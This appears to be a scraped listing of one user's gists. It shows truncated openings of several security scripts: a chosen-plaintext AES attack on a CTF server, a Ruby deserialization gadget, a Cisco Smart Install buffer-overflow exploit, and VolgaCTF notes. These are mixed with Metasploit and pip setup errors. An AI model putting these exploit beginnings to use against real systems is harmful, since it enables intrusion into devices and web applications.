pich4ya

import urllib,urllib2,cookielib
import requests
import re
import json,string
# Chosen plaintext attack on AES by Bongtrop Inw Za 007

def register(uname):
	s=requests.Session()
	res1=s.get('http://35.200.197.38:8014/register')
	m=re.search(r'name="csrf_token" type="hidden" value="(.+?)">',res1.content)

pich4ya

$ git clone https://github.com/rapid7/metasploit-framework.git
$ cd metasploit-framework
$ ./msfconsole
[*] Metasploit requires the Bundler gem to be installed
$ gem install bundler
ERROR:  While executing gem ... (Gem::Exception)
Unable to require openssl, install OpenSSL and rebuild ruby (preferred) or use non-HTTPS sources
$ brew install openssl
$ /usr/local/opt/[email protected]/bin/openssl version
OpenSSL 1.1.0g  2 Nov 2017

pich4ya

# https://gist.github.com/500646/5a0add1a0301492714342ba82b1d3aee
require 'yaml'
require 'base64'
require 'erb'

class ActiveSupport
  class Deprecation
    def initialize()
      @silenced = true
    end

pich4ya

$ pip2.7 install configparser
Collecting configparser
  Using cached configparser-3.5.0.tar.gz
  ...
    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in /private/var/folders/50/7j5rhs4n4tq9hw9mjm2yntg40000gn/T/pip-build-td9Vn6/configparser/

$ pip install --upgrade setuptools
Collecting setuptools
  Using cached setuptools-38.5.2-py2.py3-none-any.whl

pich4ya

#!/usr/bin/python3
# pip3 install websocket-client
import urllib
from urllib.request import urlopen, Request
from urllib.parse import urlencode

import string
import json
import websocket
import _thread

pich4ya

1. Download WSUS Offline Update Version 9.2.3
http://download.wsusoffline.net/wsusoffline923.zip

The version number is very important here. The latest version 11.1.1 does not support Windows XP.

2. Run UpdateGenerator.exe and then select the options suite to your WinXP edition.

pich4ya

<!-- 

Lazy Admin
This lazy admin has not authorized my account yet! Get his email, I want to write to him.

https://quals.2018.volgactf.ru/tasks

http://lazy-admin.quals.2018.volgactf.ru/
http://lazy-admin.quals.2018.volgactf.ru/robots.txt
Disallow: /unauthorized_users.txt

pich4ya

Old Goverment Site
It's an old government web-site. Please, don't touch it. It works properly.

http://old-government-site.quals.2018.volgactf.ru:8080/

http://old-government-site.quals.2018.volgactf.ru:8080/page?id=2
http://old-government-site.quals.2018.volgactf.ru:8080/page?id=18

Form with 2 fields > Site, Company description.

pich4ya

#!/bin/sh

###############################################################################
# OpenVAS
# $Id$
#
# Script for checking completeness and readiness of OpenVAS.
#
# Authors:
# Jan-Oliver Wagner <[email protected]>

pich4ya

# smi_ibc_init_discovery_BoF.py

import socket 
import struct 
from optparse import OptionParser 

# Parse the target options 
parser = OptionParser() 
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  (options, args) = parser.parse_args()